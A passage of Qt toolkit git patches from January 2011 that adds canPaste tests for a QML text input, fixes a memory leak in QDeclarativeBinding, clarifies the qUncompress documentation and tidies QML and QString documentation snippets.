b/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp index 964125f..d7e6a60 100644 --- a/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp +++ b/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp @@ -952,10 +952,18 @@ void tst_qdeclarativetextinput::copyAndPaste() { QCOMPARE(textInput->selectedText(), QString("Hello world!")); QCOMPARE(textInput->selectedText().length(), 12); textInput->setCursorPosition(0); + QVERIFY(textInput->canPaste()); textInput->paste(); QCOMPARE(textInput->text(), QString("Hello world!Hello world!")); QCOMPARE(textInput->text().length(), 24); + // can paste + QVERIFY(textInput->canPaste()); + textInput->setReadOnly(true); + QVERIFY(!textInput->canPaste()); + textInput->setReadOnly(false); + QVERIFY(textInput->canPaste()); + // select word textInput->setCursorPosition(0); textInput->selectWord(); @@ -973,6 +981,7 @@ void tst_qdeclarativetextinput::copyAndPaste() { QClipboard *clipboard = QApplication::clipboard(); QVERIFY(clipboard); clipboard->clear(); + QVERIFY(!textInput->canPaste()); // test that copy functionality is disabled // when echo mode is set to hide text/password mode -- cgit v0.12 From dd4243b62379d9a1d6e8a7f13b1f7c4fa3de2984 Mon Sep 17 00:00:00 2001 From: Aaron Kennedy Date: Mon, 17 Jan 2011 14:18:39 +1000 Subject: Fix memory leak Introduced by 488e616b50707e5b37162e6d0cfc71a1ffdf9bef --- src/declarative/qml/qdeclarativebinding.cpp | 12 +++++++++--- 1 file changed, 9 insertions(+), 3 deletions(-) diff --git a/src/declarative/qml/qdeclarativebinding.cpp b/src/declarative/qml/qdeclarativebinding.cpp index 223d057..2092087 100644 --- a/src/declarative/qml/qdeclarativebinding.cpp +++ b/src/declarative/qml/qdeclarativebinding.cpp @@ -247,9 +247,15 @@ QDeclarativeBinding::createBinding(Identifier id, QObject *obj, QDeclarativeCont QDeclarativeEnginePrivate *engine = QDeclarativeEnginePrivate::get(qmlEngine(obj)); QDeclarativeCompiledData *cdata = 0; - if (engine && ctxtdata && !ctxtdata->url.isEmpty()) - cdata = engine->typeLoader.get(ctxtdata->url)->compiledData(); - return cdata ? new QDeclarativeBinding((void*)cdata->datas.at(id).constData(), cdata, obj, ctxtdata, url, lineNumber, parent) : 0; + QDeclarativeTypeData *typeData = 0; + if (engine && ctxtdata && !ctxtdata->url.isEmpty()) { + typeData = engine->typeLoader.get(ctxtdata->url); + cdata = typeData->compiledData(); + } + QDeclarativeBinding *rv = cdata ? new QDeclarativeBinding((void*)cdata->datas.at(id).constData(), cdata, obj, ctxtdata, url, lineNumber, parent) : 0; + if (typeData) + typeData->release(); + return rv; } QDeclarativeBinding::QDeclarativeBinding(const QString &str, QObject *obj, QDeclarativeContext *ctxt, -- cgit v0.12 From 14f908687edd09664bc7909ef7a0bdd071456402 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Mon, 17 Jan 2011 15:32:06 +0100 Subject: Doc: Clarified the use of qUncompress(). Task-number: QTBUG-16671 --- src/corelib/tools/qbytearray.cpp | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/src/corelib/tools/qbytearray.cpp b/src/corelib/tools/qbytearray.cpp index b1bac9d..568293d 100644 --- a/src/corelib/tools/qbytearray.cpp +++ b/src/corelib/tools/qbytearray.cpp @@ -492,7 +492,7 @@ QByteArray qCompress(const uchar* data, int nbytes, int compressionLevel) #endif /*! - \fn QByteArray qUncompress(const QByteArray& data) + \fn QByteArray qUncompress(const QByteArray &data) \relates QByteArray @@ -506,10 +506,10 @@ QByteArray qCompress(const uchar* data, int nbytes, int compressionLevel) feature was added. \bold{Note:} If you want to use this function to uncompress external - data compressed using zlib, you first need to prepend four bytes to the - byte array that contain the expected length (as an unsigned integer) - of the uncompressed data encoded in big-endian order (most significant - byte first). + data that was compressed using zlib, you first need to prepend a four + byte header to the byte array containing the data. The header must + contain the expected length (in bytes) of the uncompressed data, + expressed as an unsigned, big-endian, 32-bit integer. \sa qCompress() */ -- cgit v0.12 From 72900c3004825514244ebd38f38c0443b9774ad3 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Mon, 17 Jan 2011 20:12:14 +0100 Subject: Doc: Fixed qdoc warnings caused by invalid/incomplete QML snippets. --- doc/src/declarative/dynamicobjects.qdoc | 4 +- doc/src/declarative/example-slideswitch.qdoc | 12 +- doc/src/declarative/extending.qdoc | 27 +- doc/src/declarative/qdeclarativemodels.qdoc | 4 +- doc/src/declarative/qtdeclarative.qdoc | 4 +- doc/src/snippets/declarative/script.js | 5 +- .../declarative/transition-from-to-modified.qml | 60 ++++ .../snippets/declarative/transition-from-to.qml | 2 - .../snippets/declarative/transition-reversible.qml | 2 + doc/src/snippets/declarative/transitions-list.qml | 89 +++++ doc/src/snippets/qstring/main.cpp | 382 ++++++++++----------- 11 files changed, 381 insertions(+), 210 deletions(-) create mode 100644 doc/src/snippets/declarative/transition-from-to-modified.qml create mode 100644 doc/src/snippets/declarative/transitions-list.qml diff --git a/doc/src/declarative/dynamicobjects.qdoc b/doc/src/declarative/dynamicobjects.qdoc index 073e0c4..11a4386 100644 --- a/doc/src/declarative/dynamicobjects.qdoc +++ b/doc/src/declarative/dynamicobjects.qdoc @@ -184,7 +184,9 @@ Note also that if a \c SelfDestroyingRect instance was created statically like t \qml Item { - SelfDestroyingRect { ... } + SelfDestroyingRect { + // ... + } } \endqml diff --git a/doc/src/declarative/example-slideswitch.qdoc b/doc/src/declarative/example-slideswitch.qdoc index 2b82b2f..9f84ee6 100644 --- a/doc/src/declarative/example-slideswitch.qdoc +++ b/doc/src/declarative/example-slideswitch.qdoc @@ -60,8 +60,16 @@ It can be used to activate/disactivate the switch or to query its current state. In this example: \qml -Switch { id: mySwitch; on: true } -Text { text: "The switch is on"; visible: mySwitch.on == true } +Item { + Switch { + id: mySwitch + on: true + } + Text { + text: "The switch is on" + visible: mySwitch.on == true + } +} \endqml the text will only be visible when the switch is on. diff --git a/doc/src/declarative/extending.qdoc b/doc/src/declarative/extending.qdoc index a1f006b..b986d06 100644 --- a/doc/src/declarative/extending.qdoc +++ b/doc/src/declarative/extending.qdoc @@ -733,12 +733,14 @@ It is optional for a property to have a default value. The default value is a co behaviorally identical to doing it in two steps, like this: \qml -// Use default value -property int myProperty: 10 +Item { + // Use default value + property int myProperty: 10 -// Longer, but behaviorally identical -property int myProperty -myProperty: 10 + // Longer, but behaviorally identical + property int myProperty + myProperty: 10 +} \endqml @@ -769,9 +771,11 @@ QML object types can also be used as property types. This includes defined like this: \qml -property Item itemProperty -property QtObject objectProperty -property MyCustomType customProperty +Item { + property Item itemProperty + property QtObject objectProperty + property MyCustomType customProperty +} \endqml Such object-type properties default to an \c undefined value. @@ -784,7 +788,9 @@ see the \l {variant}{variant type documentation} for details. list: \qml -property list listOfItems +Item { + property list listOfItems +} \endqml Note that list properties cannot be modified like ordinary JavaScript @@ -1075,7 +1081,7 @@ code removes the connection created in \c application.qml above: \qml // application.qml Item { - ... + // ... function removeSignal() { button.clicked.disconnect(item.myMethod) @@ -1100,5 +1106,4 @@ MouseArea { Whenever the \l MouseArea \c clicked signal is emitted, the \c rect.buttonClicked signal will automatically be emitted as well. - */ diff --git a/doc/src/declarative/qdeclarativemodels.qdoc b/doc/src/declarative/qdeclarativemodels.qdoc index 45246e9..744b4bd 100644 --- a/doc/src/declarative/qdeclarativemodels.qdoc +++ b/doc/src/declarative/qdeclarativemodels.qdoc @@ -281,7 +281,7 @@ with models of type QAbstractItemModel: \endlist -\section2 Exposing C++ data models to QML +\section2 Exposing C++ Data Models to QML The above examples use QDeclarativeContext::setContextProperty() to set model values directly in QML components. An alternative to this is to @@ -313,7 +313,9 @@ MyModel { id: myModel ListElement { someProperty: "some value" } } +\endqml +\qml ListView { width: 200; height: 250 model: myModel diff --git a/doc/src/declarative/qtdeclarative.qdoc b/doc/src/declarative/qtdeclarative.qdoc index 05dac52..364711d 100644 --- a/doc/src/declarative/qtdeclarative.qdoc +++ b/doc/src/declarative/qtdeclarative.qdoc @@ -103,7 +103,9 @@ \qml import com.mycompany.qmlcomponents 1.0 - Slider { ... } + Slider { + // ... + } \endqml Note that it's perfectly reasonable for a library to register types to older versions diff --git a/doc/src/snippets/declarative/script.js b/doc/src/snippets/declarative/script.js index cd67311..f55dee3 100644 --- a/doc/src/snippets/declarative/script.js +++ b/doc/src/snippets/declarative/script.js @@ -1 +1,4 @@ -# Just here so that workerscript.qml succeeds. +WorkerScript.onMessage = function(message) { + // ... long-running operations and calculations are done here + WorkerScript.sendMessage({ 'reply': 'Mouse is at ' + message.x + ',' + message.y }) +} diff --git a/doc/src/snippets/declarative/transition-from-to-modified.qml b/doc/src/snippets/declarative/transition-from-to-modified.qml new file mode 100644 index 0000000..1e2ebca --- /dev/null +++ b/doc/src/snippets/declarative/transition-from-to-modified.qml @@ -0,0 +1,60 @@ +/**************************************************************************** +** +** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** $QT_END_LICENSE$ +** +****************************************************************************/ +import QtQuick 1.0 + +Rectangle { + id: rect + width: 100; height: 100 + color: "red" + + MouseArea { id: mouseArea; anchors.fill: parent } + + states: State { + name: "brighter"; when: mouseArea.pressed + PropertyChanges { target: rect; color: "yellow" } + } + + //! [modified transition] + transitions: Transition { + to: "brighter" + ColorAnimation { duration: 1000 } + } + //! [modified transition] +} diff --git a/doc/src/snippets/declarative/transition-from-to.qml b/doc/src/snippets/declarative/transition-from-to.qml index 5fde653..ba07518 100644 --- a/doc/src/snippets/declarative/transition-from-to.qml +++ b/doc/src/snippets/declarative/transition-from-to.qml @@ -57,5 +57,3 @@ Rectangle { } } //![0] - - diff --git a/doc/src/snippets/declarative/transition-reversible.qml b/doc/src/snippets/declarative/transition-reversible.qml index c67fd80..6a6ef23 100644 --- a/doc/src/snippets/declarative/transition-reversible.qml +++ b/doc/src/snippets/declarative/transition-reversible.qml @@ -53,12 +53,14 @@ Rectangle { PropertyChanges { target: rect; color: "yellow"; x: 50 } } + //! [sequential animations] transitions: Transition { SequentialAnimation { PropertyAnimation { property: "x"; duration: 1000 } ColorAnimation { duration: 1000 } } } + //! [sequential animations] } //![0] diff --git a/doc/src/snippets/declarative/transitions-list.qml b/doc/src/snippets/declarative/transitions-list.qml new file mode 100644 index 0000000..0467de2 --- /dev/null +++ b/doc/src/snippets/declarative/transitions-list.qml @@ -0,0 +1,89 @@ +/**************************************************************************** +** +** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import Qt 4.7 + +Rectangle { + width: 150; height: 250 + + Rectangle { + id: stopLight + x: 25; y: 15; width: 100; height: 100 + } + Rectangle { + id: goLight + x: 25; y: 135; width: 100; height: 100 + } + + states: [ + State { + name: "stop" + PropertyChanges { target: stopLight; color: "red" } + PropertyChanges { target: goLight; color: "black" } + }, + State { + name: "go" + PropertyChanges { target: stopLight; color: "black" } + PropertyChanges { target: goLight; color: "green" } + } + ] + + state: "stop" + + MouseArea { + anchors.fill: parent + onClicked: parent.state == "stop" ? + parent.state = "go" : parent.state = "stop" + } + + //! [list of transitions] + transitions: [ + Transition { + from: "stop"; to: "go" + PropertyAnimation { target: stopLight + properties: "color"; duration: 1000 } + }, + Transition { + from: "go"; to: "stop" + PropertyAnimation { target: goLight + properties: "color"; duration: 1000 } + } ] + //! [list of transitions] +} diff --git a/doc/src/snippets/qstring/main.cpp b/doc/src/snippets/qstring/main.cpp index 9aac79d..bbc9e98 100644 --- a/doc/src/snippets/qstring/main.cpp +++ b/doc/src/snippets/qstring/main.cpp @@ -126,22 +126,22 @@ Widget::Widget(QWidget *parent) void Widget::constCharPointer() { -//! [0] + //! [0] QString str = "Hello"; -//! [0] + //! [0] } void Widget::constCharArray() { -//! [1] + //! [1] static const QChar data[4] = { 0x0055, 0x006e, 0x10e3, 0x03a3 }; QString str(data, 4); -//! [1] + //! [1] } void Widget::characterReference() { -//! [2] + //! [2] QString str; str.resize(4); @@ -149,46 +149,46 @@ void Widget::characterReference() str[1] = QChar('n'); str[2] = QChar(0x10e3); str[3] = QChar(0x03a3); -//! [2] + //! [2] } void Widget::atFunction() { -//! [3] + //! [3] QString str; for (int i = 0; i < str.size(); ++i) { if (str.at(i) >= QChar('a') && str.at(i) <= QChar('f')) qDebug() << "Found character in range [a-f]"; } -//! [3] + //! [3] } void Widget::stringLiteral() { -//! [4] + //! [4] QString str; if (str == "auto" || str == "extern" || str == "static" || str == "register") { // ... } -//! [4] + //! [4] } void Widget::modify() { -//! [5] + //! [5] QString str = "and"; str.prepend("rock "); // str == "rock and" str.append(" roll"); // str == "rock and roll" str.replace(5, 3, "&"); // str == "rock & roll" -//! [5] + //! [5] } void Widget::index() { -//! [6] + //! [6] QString str = "We must be bold, very bold"; int j = 0; @@ -196,25 +196,25 @@ void Widget::index() qDebug() << "Found tag at index position" << j; ++j; } -//! [6] + //! [6] } //! [7] - QString Widget::boolToString(bool b) - { - QString result; - if (b) - result = "True"; - else - result = "False"; - return result; - } +QString Widget::boolToString(bool b) +{ + QString result; + if (b) + result = "True"; + else + result = "False"; + return result; +} //! [7] void Widget::nullVsEmpty() { -//! [8] + //! [8] QString().isNull(); // returns true QString().isEmpty(); // returns true @@ -223,45 +223,45 @@ void Widget::nullVsEmpty() QString("abc").isNull(); // returns false QString("abc").isEmpty(); // returns false -//! [8] + //! [8] } void Widget::appendFunction() { -//! [9] + //! [9] QString x = "free"; QString y = "dom"; x.append(y); // x == "freedom" -//! [9] + //! [9] -//! [10] + //! [10] x.insert(x.size(), y); -//! [10] + //! [10] } void Widget::argFunction() { -//! [11] + //! [11] QString i; // current file's number QString total; // number of files to process QString fileName; // current file's name QString status = QString("Processing file %1 of %2: %3") .arg(i).arg(total).arg(fileName); -//! [11] + //! [11] -//! [12] //! [13] + //! [12] //! [13] QString str; -//! [12] + //! [12] str = "%1 %2"; str.arg("%1f", "Hello"); // returns "%1f Hello" str.arg("%1f").arg("Hello"); // returns "Hellof %2" -//! [13] + //! [13] -//! [14] + //! [14] str = QString("Decimal 63 is %1 in hexadecimal") .arg(63, 0, 16); // str == "Decimal 63 is 3f in hexadecimal" @@ -272,16 +272,16 @@ void Widget::argFunction() .arg(12345) .arg(12345, 0, 16); // str == "12345 12,345 3039" -//! [14] + //! [14] } void Widget::chopFunction() { -//! [15] + //! [15] QString str("LOGOUT\r\n"); str.chop(2); // str == "LOGOUT" -//! [15] + //! [15] } void Widget::compareFunction() @@ -293,251 +293,251 @@ void Widget::compareFunction() void Widget::compareSensitiveFunction() { -//! [16] + //! [16] int x = QString::compare("aUtO", "AuTo", Qt::CaseInsensitive); // x == 0 int y = QString::compare("auto", "Car", Qt::CaseSensitive); // y > 0 int z = QString::compare("auto", "Car", Qt::CaseInsensitive); // z < 0 -//! [16] + //! [16] } void Widget::containsFunction() { -//! [17] + //! [17] QString str = "Peter Pan"; str.contains("peter", Qt::CaseInsensitive); // returns true -//! [17] + //! [17] } void Widget::countFunction() { -//! [18] + //! [18] QString str = "banana and panama"; str.count(QRegExp("a[nm]a")); // returns 4 -//! [18] + //! [18] } void Widget::dataFunction() { -//! [19] + //! [19] QString str = "Hello world"; QChar *data = str.data(); while (!data->isNull()) { qDebug() << data->unicode(); ++data; } -//! [19] + //! [19] } void Widget::endsWithFunction() { -//! [20] + //! [20] QString str = "Bananas"; str.endsWith("anas"); // returns true str.endsWith("pple"); // returns false -//! [20] + //! [20] } void Widget::fillFunction() { -//! [21] + //! [21] QString str = "Berlin"; str.fill('z'); // str == "zzzzzz" str.fill('A', 2); // str == "AA" -//! [21] + //! [21] } void Widget::fromRawDataFunction() { -//! [22] - QRegExp pattern; - static const QChar unicode[] = { - 0x005A, 0x007F, 0x00A4, 0x0060, - 0x1009, 0x0020, 0x0020}; - int size = sizeof(unicode) / sizeof(QChar); + //! [22] + QRegExp pattern; + static const QChar unicode[] = { + 0x005A, 0x007F, 0x00A4, 0x0060, + 0x1009, 0x0020, 0x0020}; + int size = sizeof(unicode) / sizeof(QChar); - QString str = QString::fromRawData(unicode, size); - if (str.contains(QRegExp(pattern))) { - // ... -//! [22] //! [23] - } -//! [23] + QString str = QString::fromRawData(unicode, size); + if (str.contains(QRegExp(pattern))) { + // ... + //! [22] //! [23] + } + //! [23] } void Widget::indexOfFunction() { -//! [24] + //! [24] QString x = "sticky question"; QString y = "sti"; x.indexOf(y); // returns 0 x.indexOf(y, 1); // returns 10 x.indexOf(y, 10); // returns 10 x.indexOf(y, 11); // returns -1 -//! [24] + //! [24] } void Widget::firstIndexOfFunction() { -//! [25] + //! [25] QString str = "the minimum"; str.indexOf(QRegExp("m[aeiou]"), 0); // returns 4 -//! [25] + //! [25] } void Widget::insertFunction() { -//! [26] + //! [26] QString str = "Meal"; str.insert(1, QString("ontr")); // str == "Montreal" -//! [26] + //! [26] } void Widget::isEmptyFunction() { -//! [27] + //! [27] QString().isEmpty(); // returns true QString("").isEmpty(); // returns true QString("x").isEmpty(); // returns false QString("abc").isEmpty(); // returns false -//! [27] + //! [27] } void Widget::isNullFunction() { -//! [28] + //! [28] QString().isNull(); // returns true QString("").isNull(); // returns false QString("abc").isNull(); // returns false -//! [28] + //! [28] } void Widget::lastIndexOfFunction() { -//! [29] + //! [29] QString x = "crazy azimuths"; QString y = "az"; x.lastIndexOf(y); // returns 6 x.lastIndexOf(y, 6); // returns 6 x.lastIndexOf(y, 5); // returns 2 x.lastIndexOf(y, 1); // returns -1 -//! [29] + //! [29] -//! [30] + //! [30] QString str = "the minimum"; str.lastIndexOf(QRegExp("m[aeiou]")); // returns 8 -//! [30] + //! [30] } void Widget::leftFunction() { -//! [31] + //! [31] QString x = "Pineapple"; QString y = x.left(4); // y == "Pine" -//! [31] + //! [31] } void Widget::leftJustifiedFunction() { -//! [32] + //! [32] QString s = "apple"; QString t = s.leftJustified(8, '.'); // t == "apple..." -//! [32] + //! [32] -//! [33] + //! [33] QString str = "Pineapple"; str = str.leftJustified(5, '.', true); // str == "Pinea" -//! [33] + //! [33] } void Widget::midFunction() { -//! [34] + //! [34] QString x = "Nine pineapples"; QString y = x.mid(5, 4); // y == "pine" QString z = x.mid(5); // z == "pineapples" -//! [34] + //! [34] } void Widget::numberFunction() { -//! [35] + //! [35] long a = 63; QString s = QString::number(a, 16); // s == "3f" QString t = QString::number(a, 16).toUpper(); // t == "3F" -//! [35] + //! [35] } void Widget::prependFunction() { -//! [36] + //! [36] QString x = "ship"; QString y = "air"; x.prepend(y); // x == "airship" -//! [36] + //! [36] } void Widget::removeFunction() { -//! [37] + //! [37] QString s = "Montreal"; s.remove(1, 4); // s == "Meal" -//! [37] + //! [37] -//! [38] + //! [38] QString t = "Ali Baba"; t.remove(QChar('a'), Qt::CaseInsensitive); // t == "li Bb" -//! [38] + //! [38] -//! [39] + //! [39] QString r = "Telephone"; r.remove(QRegExp("[aeiou].")); // r == "The" -//! [39] + //! [39] } void Widget::replaceFunction() { -//! [40] + //! [40] QString x = "Say yes!"; QString y = "no"; x.replace(4, 3, y); // x == "Say no!" -//! [40] + //! [40] -//! [41] + //! [41] QString str = "colour behaviour flavour neighbour"; str.replace(QString("ou"), QString("o")); // str == "color behavior flavor neighbor" -//! [41] + //! [41] -//! [42] + //! [42] QString s = "Banana"; s.replace(QRegExp("a[mn]"), "ox"); // s == "Boxoxa" -//! [42] + //! [42] -//! [43] + //! [43] QString t = "A bon mot."; t.replace(QRegExp("([^<]*)"), "\\emph{\\1}"); // t == "A \\emph{bon mot}." -//! [43] + //! [43] -//! [86] + //! [86] QString equis = "xxxxxx"; equis.replace("xx", "x"); // equis == "xxx" -//! [86] + //! [86] } void Widget::reserveFunction() { -//! [44] + //! [44] QString result; int maxSize; bool condition; @@ -549,59 +549,59 @@ void Widget::reserveFunction() result.append(nextChar); result.squeeze(); -//! [44] + //! [44] } void Widget::resizeFunction() { -//! [45] + //! [45] QString s = "Hello world"; s.resize(5); // s == "Hello" s.resize(8); // s == "Hello???" (where ? stands for any character) -//! [45] + //! [45] -//! [46] + //! [46] QString t = "Hello"; t += QString(10, 'X'); // t == "HelloXXXXXXXXXX" -//! [46] + //! [46] -//! [47] + //! [47] QString r = "Hello"; r = r.leftJustified(10, ' '); // r == "Hello " -//! [47] + //! [47] } void Widget::rightFunction() { -//! [48] + //! [48] QString x = "Pineapple"; QString y = x.right(5); // y == "apple" -//! [48] + //! [48] } void Widget::rightJustifiedFunction() { -//! [49] + //! [49] QString s = "apple"; QString t = s.rightJustified(8, '.'); // t == "...apple" -//! [49] + //! [49] -//! [50] + //! [50] QString str = "Pineapple"; str = str.rightJustified(5, '.', true); // str == "Pinea" -//! [50] + //! [50] } void Widget::sectionFunction() { -//! [51] //! [52] + //! [51] //! [52] QString str; -//! [51] + //! [51] QString csv = "forename,middlename,surname,phone"; QString path = "/usr/local/bin/myapp"; // First field is empty QString::SectionFlag flag = QString::SectionSkipEmpty; @@ -610,83 +610,83 @@ void Widget::sectionFunction() str = csv.section(',', 2, 2); // str == "surname" str = path.section('/', 3, 4); // str == "bin/myapp" str = path.section('/', 3, 3, flag); // str == "myapp" -//! [52] + //! [52] -//! [53] + //! [53] str = csv.section(',', -3, -2); // str == "middlename,surname" str = path.section('/', -1); // str == "myapp" -//! [53] + //! [53] -//! [54] + //! [54] QString data = "forename**middlename**surname**phone"; str = data.section("**", 2, 2); // str == "surname" str = data.section("**", -3, -2); // str == "middlename**surname" -//! [54] + //! [54] -//! [55] + //! [55] QString line = "forename\tmiddlename surname \t \t phone"; QRegExp sep("\\s+"); str = line.section(sep, 2, 2); // s == "surname" str = line.section(sep, -3, -2); // s == "middlename surname" -//! [55] + //! [55] } void Widget::setNumFunction() { -//! [56] + //! [56] QString str; str.setNum(1234); // str == "1234" -//! [56] + //! [56] } void Widget::simplifiedFunction() { -//! [57] + //! [57] QString str = " lots\t of\nwhitespace\r\n "; str = str.simplified(); // str == "lots of whitespace"; -//! [57] + //! [57] } void Widget::sizeFunction() { -//! [58] + //! [58] QString str = "World"; int n = str.size(); // n == 5 str.data()[0]; // returns 'W' str.data()[4]; // returns 'd' str.data()[5]; // returns '\0' -//! [58] + //! [58] } void Widget::splitFunction() { -//! [59] + //! [59] QString str; QStringList list; str = "Some text\n\twith strange whitespace."; list = str.split(QRegExp("\\s+")); // list: [ "Some", "text", "with", "strange", "whitespace." ] -//! [59] + //! [59] -//! [60] + //! [60] str = "This time, a normal English sentence."; list = str.split(QRegExp("\\W+"), QString::SkipEmptyParts); // list: [ "This", "time", "a", "normal", "English", "sentence" ] -//! [60] + //! [60] -//! [61] + //! [61] str = "Now: this sentence fragment."; list = str.split(QRegExp("\\b")); // list: [ "", "Now", ": ", "this", " ", "sentence", " ", "fragment", "." ] -//! [61] + //! [61] } void Widget::splitCaseSensitiveFunction() { -//! [62] + //! [62] QString str = "a,,b,c"; QStringList list1 = str.split(","); @@ -694,241 +694,241 @@ void Widget::splitCaseSensitiveFunction() QStringList list2 = str.split(",", QString::SkipEmptyParts); // list2: [ "a", "b", "c" ] -//! [62] + //! [62] } void Widget::sprintfFunction() { -//! [63] + //! [63] size_t BufSize; char buf[BufSize]; ::snprintf(buf, BufSize, "%lld", 123456789LL); QString str = QString::fromAscii(buf); -//! [63] + //! [63] -//! [64] + //! [64] QString result; QTextStream(&result) << "pi = " << 3.14; // result == "pi = 3.14" -//! [64] + //! [64] } void Widget::startsWithFunction() { -//! [65] + //! [65] QString str = "Bananas"; str.startsWith("Ban"); // returns true str.startsWith("Car"); // returns false -//! [65] + //! [65] } void Widget::toDoubleFunction() { -//! [66] + //! [66] QString str = "1234.56"; double val = str.toDouble(); // val == 1234.56 -//! [66] + //! [66] -//! [67] + //! [67] bool ok; double d; d = QString( "1234.56e-02" ).toDouble(&ok); // ok == true, d == 12.3456 -//! [67] + //! [67] -//! [68] //! [69] + //! [68] //! [69] QLocale::setDefault(QLocale::C); d = QString( "1234,56" ).toDouble(&ok); // ok == false -//! [68] + //! [68] d = QString( "1234.56" ).toDouble(&ok); // ok == true, d == 1234.56 -//! [69] //! [70] + //! [69] //! [70] QLocale::setDefault(QLocale::German); d = QString( "1234,56" ).toDouble(&ok); // ok == true, d == 1234.56 d = QString( "1234.56" ).toDouble(&ok); // ok == true, d == 1234.56 -//! [70] + //! [70] QLocale::setDefault(QLocale::C); d = QString( "1,234,567.89" ).toDouble(&ok); // ok == false } void Widget::toFloatFunction() { -//! [71] + //! [71] QString str1 = "1234.56"; str1.toFloat(); // returns 1234.56 bool ok; QString str2 = "R2D2"; str2.toFloat(&ok); // returns 0.0, sets ok to false -//! [71] + //! [71] } void Widget::toIntFunction() { -//! [72] + //! [72] QString str = "FF"; bool ok; int hex = str.toInt(&ok, 16); // hex == 255, ok == true int dec = str.toInt(&ok, 10); // dec == 0, ok == false -//! [72] + //! [72] } void Widget::toLongFunction() { -//! [73] + //! [73] QString str = "FF"; bool ok; long hex = str.toLong(&ok, 16); // hex == 255, ok == true long dec = str.toLong(&ok, 10); // dec == 0, ok == false -//! [73] + //! [73] } void Widget::toLongLongFunction() { -//! [74] + //! [74] QString str = "FF"; bool ok; qint64 hex = str.toLongLong(&ok, 16); // hex == 255, ok == true qint64 dec = str.toLongLong(&ok, 10); // dec == 0, ok == false -//! [74] + //! [74] } void Widget::toLowerFunction() { -//! [75] + //! [75] QString str = "Qt by NOKIA"; str = str.toLower(); // str == "qt by nokia" -//! [75] + //! [75] } void Widget::toShortFunction() { -//! [76] + //! [76] QString str = "FF"; bool ok; short hex = str.toShort(&ok, 16); // hex == 255, ok == true short dec = str.toShort(&ok, 10); // dec == 0, ok == false -//! [76] + //! [76] } void Widget::toUIntFunction() { -//! [77] + //! [77] QString str = "FF"; bool ok; uint hex = str.toUInt(&ok, 16); // hex == 255, ok == true uint dec = str.toUInt(&ok, 10); // dec == 0, ok == false -//! [77] + //! [77] } void Widget::toULongFunction() { -//! [78] + //! [78] QString str = "FF"; bool ok; ulong hex = str.toULong(&ok, 16); // hex == 255, ok == true ulong dec = str.toULong(&ok, 10); // dec == 0, ok == false -//! [78] + //! [78] } void Widget::toULongLongFunction() { -//! [79] + //! [79] QString str = "FF"; bool ok; quint64 hex = str.toULongLong(&ok, 16); // hex == 255, ok == true quint64 dec = str.toULongLong(&ok, 10); // dec == 0, ok == 